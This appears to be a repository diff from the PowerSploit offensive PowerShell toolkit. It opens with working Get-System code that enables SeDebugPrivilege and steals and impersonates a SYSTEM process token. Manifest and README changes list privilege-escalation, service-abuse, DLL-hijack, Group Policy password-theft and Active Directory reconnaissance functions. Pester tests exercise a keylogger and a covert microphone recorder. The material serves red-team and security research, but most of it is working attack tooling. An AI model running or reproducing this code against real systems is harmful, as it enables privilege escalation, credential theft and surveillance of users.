@([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32Methods = $Win32TypeBuilder.CreateType()
$Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'}
$GetCurrentProcess = $Win32Native.GetMethod(
'GetCurrentProcess',
[Reflection.BindingFlags] 'NonPublic, Static'
)
$SE_PRIVILEGE_ENABLED = 0x00000002
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
$STANDARD_RIGHTS_READ = 0x00020000
$TOKEN_ASSIGN_PRIMARY = 0x00000001
$TOKEN_DUPLICATE = 0x00000002
$TOKEN_IMPERSONATE = 0x00000004
$TOKEN_QUERY = 0x00000008
$TOKEN_QUERY_SOURCE = 0x00000010
$TOKEN_ADJUST_PRIVILEGES = 0x00000020
$TOKEN_ADJUST_GROUPS = 0x00000040
$TOKEN_ADJUST_DEFAULT = 0x00000080
$TOKEN_ADJUST_SESSIONID = 0x00000100
$TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
$TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
$TOKEN_ASSIGN_PRIMARY -bor
$TOKEN_DUPLICATE -bor
$TOKEN_IMPERSONATE -bor
$TOKEN_QUERY -bor
$TOKEN_QUERY_SOURCE -bor
$TOKEN_ADJUST_PRIVILEGES -bor
$TOKEN_ADJUST_GROUPS -bor
$TOKEN_ADJUST_DEFAULT -bor
$TOKEN_ADJUST_SESSIONID
[long]$Luid = 0
$tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $Luid
$tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
$RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
$htoken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
$tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
$RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
if(-not($RetVal)) {
Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
}
$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
try {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$Process = Get-Process -Id $_.ProcessId
$Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
if ($Handle) {
$Handle
}
}
}
}
catch {}
} | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1
if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
Write-Error 'Unable to obtain a handle to a system process.'
}
else {
[IntPtr]$SystemToken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "OpenProcessToken result: $RetVal"
Write-Verbose "OpenProcessToken result: $LastError"
[IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
$RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "DuplicateToken result: $LastError"
$RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if(-not($RetVal)) {
Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
}
Write-Verbose "SetThreadToken result: $LastError"
$null = $Win32Methods::CloseHandle($Handle)
}
}
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
}
if($PSBoundParameters['WhoAmI']) {
Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
return
}
elseif($PSBoundParameters['RevToSelf']) {
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
$RetVal = $RevertToSelf.Invoke()
if($RetVal) {
Write-Output "RevertToSelf successful."
}
else {
Write-Warning "RevertToSelf failed."
}
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
}
else {
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
Write-Error "Script must be run as administrator" -ErrorAction Stop
}
if($Technique -eq 'NamedPipe') {
# if we're using named pipe impersonation with a service
Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
}
else {
# otherwise use token duplication
Get-SystemToken
}
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
}
}

File diff suppressed because one or more lines are too long

View File

@ -10,7 +10,7 @@ ModuleVersion = '3.0.0.0'
GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'
# Author of this module
Author = 'Will Schroder'
Author = 'Will Schroeder'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
@ -23,30 +23,38 @@ PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = @(
'Get-ServiceUnquoted',
'Get-ServiceFilePermission',
'Get-ServicePermission',
'Add-ServiceDacl',
'Find-PathDLLHijack',
'Find-ProcessDLLHijack',
'Get-ApplicationHost',
'Get-CachedGPPPassword',
'Get-CurrentUserTokenGroupSid',
'Get-ModifiablePath',
'Get-ModifiableRegistryAutoRun',
'Get-ModifiableScheduledTaskFile',
'Get-ModifiableService',
'Get-ModifiableServiceFile',
'Get-RegistryAlwaysInstallElevated',
'Get-RegistryAutoLogon',
'Get-ServiceDetail',
'Invoke-ServiceAbuse',
'Write-ServiceBinary',
'Install-ServiceBinary',
'Restore-ServiceBinary',
'Find-DLLHijack',
'Find-PathHijack',
'Write-HijackDll',
'Get-RegAlwaysInstallElevated',
'Get-RegAutoLogon',
'Get-VulnAutoRun',
'Get-VulnSchTask',
'Get-ServiceUnquoted',
'Get-SiteListPassword',
'Get-System',
'Get-UnattendedInstallFile',
'Get-Webconfig',
'Get-ApplicationHost',
'Write-UserAddMSI',
'Invoke-AllChecks'
'Install-ServiceBinary',
'Invoke-AllChecks',
'Invoke-ServiceAbuse',
'Restore-ServiceBinary',
'Set-ServiceBinPath',
'Test-ServiceDaclPermission',
'Write-HijackDll',
'Write-ServiceBinary',
'Write-UserAddMSI'
)
# List of all files packaged with this module
FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md'
FileList = 'Privesc.psm1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md'
}

View File

@ -29,8 +29,8 @@ Optional Dependencies: None
### Service Enumeration:
Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name
Get-ServiceFilePermission - returns services where the current user can write to the service binary path or its config
Get-ServicePermission - returns services the current user can modify
Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config
Get-ModifiableService - returns services the current user can modify
Get-ServiceDetail - returns detailed information about a specified service
### Service Abuse:
@ -40,20 +40,28 @@ Optional Dependencies: None
Restore-ServiceBinary - restores a replaced service binary with the original executable
### DLL Hijacking:
Find-DLLHijack - finds .dll hijacking opportunities for currently running processes
Find-PathHijack - finds service %PATH% .dll hijacking opportunities
Write-HijackDll - writes out a hijackable .dll
Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes
Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities
Write-HijackDll - writes out a hijackable DLL
### Registry Checks:
Get-RegAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
Get-RegAutoLogon - checks for Autologon credentials in the registry
Get-VulnAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
Get-RegistryAutoLogon - checks for Autologon credentials in the registry
Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
### Misc.:
Get-VulnSchTask - find schtasks with modifiable target files
### Miscellaneous Checks:
Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files
Get-UnattendedInstallFile - finds remaining unattended installation files
Get-Webconfig - checks for any encrypted web.config strings
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files
Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files
### Other Helpers/Meta-Functions:
Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify
Get-CurrentUserTokenGroupSid - returns all SIDs that the current user is a part of, whether they are disabled or not
Add-ServiceDacl - adds a Dacl field to a service object returned by Get-Service
Set-ServiceBinPath - sets the binary path for a service to a specified value through Win32 API methods
Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
Invoke-AllChecks - runs all current escalation checks and returns a report

View File

@ -100,6 +100,10 @@ Logs keys pressed, time and the active window.
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
#### `Get-GPPAutologon`
Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.
#### `Get-TimedScreenshot`
A function that takes screenshots at a regular interval and saves them to a folder.
@ -128,6 +132,10 @@ Displays Windows vault credential objects including cleartext web credentials.
Generates a full-memory minidump of a process.
#### 'Get-MicrophoneAudio'
Records audio from system microphone and saves to disk
## Mayhem
**Cause general mayhem with PowerShell.**

4854
Recon/PowerView.ps1 Normal file → Executable file

File diff suppressed because it is too large Load Diff

View File

@ -120,6 +120,8 @@ an array of hosts from the pipeline.
Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain
Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain
Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to
Find-ManagedSecurityGroups - searches for active directory security groups which are managed and identify users who have write access to
- those groups (i.e. the ability to add or remove members)
Find-UserField - searches a user field for a particular term
Find-ComputerField - searches a computer field for a particular term
Get-ExploitableSystem - finds systems likely vulnerable to common exploits

View File

@ -23,70 +23,83 @@ PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = @(
'Get-ComputerDetails',
'Get-HttpStatus',
'Invoke-Portscan',
'Invoke-ReverseDnsLookup',
'Set-MacAttribute',
'Copy-ClonedFile',
'Add-NetGroupUser',
'Add-NetUser',
'Add-ObjectAcl',
'Convert-NameToSid',
'Convert-SidToName',
'Convert-NT4toCanonical',
'Get-Proxy',
'Get-PathAcl',
'Get-NetDomain',
'Get-NetForest',
'Get-NetForestDomain',
'Get-NetForestCatalog',
'Get-NetDomainController',
'Get-NetUser',
'Add-NetUser',
'Get-UserProperty',
'Find-UserField',
'Get-UserEvent',
'Get-ObjectAcl',
'Add-ObjectAcl',
'Invoke-ACLScanner',
'Get-NetComputer',
'Get-ADObject',
'Set-ADObject',
'Get-ComputerProperty',
'Convert-ADName',
'ConvertFrom-UACValue',
'Export-PowerViewCSV',
'Find-ComputerField',
'Get-NetOU',
'Get-NetSite',
'Get-NetSubnet',
'Get-NetGroup',
'Get-NetGroupMember',
'Get-NetFileServer',
'Find-ForeignGroup',
'Find-ForeignUser',
'Find-GPOComputerAdmin',
'Find-GPOLocation',
'Find-InterestingFile',
'Find-LocalAdminAccess',
'Find-ManagedSecurityGroups',
'Find-UserField',
'Get-ADObject',
'Get-CachedRDPConnection',
'Get-ComputerDetails',
'Get-ComputerProperty',
'Get-DFSshare',
'Get-DNSRecord',
'Get-DNSZone',
'Get-DomainPolicy',
'Get-DomainSID',
'Get-ExploitableSystem',
'Get-GUIDMap',
'Get-HttpStatus',
'Get-IPAddress',
'Get-LastLoggedOn',
'Get-LoggedOnLocal',
'Get-NetComputer',
'Get-NetDomain',
'Get-NetDomainController',
'Get-NetDomainTrust',
'Get-NetFileServer',
'Get-NetForest',
'Get-NetForestCatalog',
'Get-NetForestDomain',
'Get-NetForestTrust',
'Get-NetGPO',
'Get-NetGPOGroup',
'Find-GPOLocation',
'Find-GPOComputerAdmin',
'Get-DomainPolicy',
'Get-NetGroup',
'Get-NetGroupMember',
'Get-NetLocalGroup',
'Get-NetShare',
'Get-NetLoggedon',
'Get-NetSession',
'Get-NetRDPSession',
'Invoke-CheckLocalAdminAccess',
'Get-LastLoggedOn',
'Get-CachedRDPConnection',
'Get-NetOU',
'Get-NetProcess',
'Find-InterestingFile',
'Invoke-UserHunter',
'Invoke-ProcessHunter',
'Invoke-EventHunter',
'Invoke-ShareFinder',
'Invoke-FileFinder',
'Find-LocalAdminAccess',
'Get-ExploitableSystem',
'Get-NetRDPSession',
'Get-NetSession',
'Get-NetShare',
'Get-NetSite',
'Get-NetSubnet',
'Get-NetUser',
'Get-ObjectAcl',
'Get-PathAcl',
'Get-Proxy',
'Get-RegistryMountedDrive',
'Get-SiteName',
'Get-UserEvent',
'Get-UserProperty',
'Invoke-ACLScanner',
'Invoke-CheckLocalAdminAccess',
'Invoke-DowngradeAccount',
'Invoke-EnumerateLocalAdmin',
'Get-NetDomainTrust',
'Get-NetForestTrust',
'Find-ForeignUser',
'Find-ForeignGroup',
'Invoke-MapDomainTrust'
'Invoke-EventHunter',
'Invoke-FileFinder',
'Invoke-MapDomainTrust',
'Invoke-Portscan',
'Invoke-ProcessHunter',
'Invoke-ReverseDnsLookup',
'Invoke-ShareFinder',
'Invoke-UserHunter',
'New-GPOImmediateTask',
'Request-SPNTicket',
'Set-ADObject'
)
# List of all files packaged with this module

View File

@ -0,0 +1,85 @@
Set-StrictMode -Version Latest
$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1"
Remove-Module [E]xfiltration
Import-Module $ModuleManifest -Force -ErrorAction Stop
Describe 'Get-Keystrokes' {
if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" }
$WindowTitle = (Get-Process -Id $PID).MainWindowTitle
$Shell = New-Object -ComObject wscript.shell
$Shell.AppActivate($WindowTitle)
$KeyLogger = Get-Keystrokes -PassThru
Start-Sleep -Seconds 1
$Shell.SendKeys("Pester`b`b`b`b`b`b")
$KeyLogger.Dispose()
It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true }
$KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv
It 'Should log keystrokes' {
$FileLength = (Get-Item "$($env:TEMP)\key.log").Length
$FileLength | Should BeGreaterThan 14
}
It 'Should get foreground window title' {
$KeyObjects[0].WindowTitle | Should Be $WindowTitle
}
It 'Should log time of key press' {
$KeyTime = [DateTime]::Parse($KeyObjects[0].Time)
$KeyTime.GetType().Name | Should Be 'DateTime'
}
It 'Should stop logging after timeout' {
$Timeout = 0.05
$KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru
Start-Sleep -Seconds 4
$KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available'
$KeyLogger.Dispose()
}
Remove-Item -Force "$($env:TEMP)\key.log"
}
Describe "Get-MicrophoneAudio" {
$RecordPath = "$env:TEMP\test_record.wav"
$RecordLen = 2
Context 'Successful Recording' {
BeforeEach {
#Ensure the recording as been removed prior to testing
Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue
}
AfterEach {
#Remove the recording after testing
Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue
}
It 'should record audio from the microphone and save it to a specified path' {
$result = Get-MicrophoneAudio -Path $RecordPath -Length $RecordLen
$result | Should Not BeNullOrEmpty
$result.Length | Should BeGreaterThan 0
}
}
Context 'Invalid Arguments' {
It 'should not allow invalid paths to be used' {
{ Get-MicrophoneAudio -Path "c:\FAKEPATH\yay.wav" -Length RecordLen} | Should Throw
}
}
}

File diff suppressed because it is too large Load Diff

View File

@ -30,32 +30,6 @@ Describe 'Export-PowerViewCSV' {
}
}
Describe 'Set-MacAttribute' {
BeforeEach {
New-Item MacAttribute.test.txt -Type file
}
AfterEach {
Remove-Item -Force MacAttribute.test.txt
}
It 'Should clone MAC attributes of existing file' {
Set-MacAttribute -FilePath MacAttribute.test.txt -All '01/01/2000 12:00 am'
$File = (Get-Item MacAttribute.test.txt)
$Date = Get-Date -Date '2000-01-01 00:00:00'
if ($File.LastWriteTime -ne $Date) {
Throw 'File LastWriteTime does Not match'
}
elseif($File.LastAccessTime -ne $Date) {
Throw 'File LastAccessTime does Not match'
}
elseif($File.CreationTime -ne $Date) {
Throw 'File CreationTime does Not match'
}
}
}
Describe 'Get-IPAddress' {
$IPregex = "(?<Address>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))"
It 'Should return local IP address' {
@ -136,18 +110,6 @@ Describe 'Get-NameField' {
}
Describe 'Invoke-ThreadedFunction' {
It "Should allow threaded ping" {
$Hosts = ,"localhost" * 100
$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
$Hosts = Invoke-ThreadedFunction -NoImports -ComputerName $Hosts -ScriptBlock $Ping -Threads 20
if($Hosts.length -ne 100) {
Throw 'Error in using Invoke-ThreadedFunction to ping localhost'
}
}
}
Describe "Get-NetLocalGroup" {
It "Should return results for local machine administrators" {
if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) {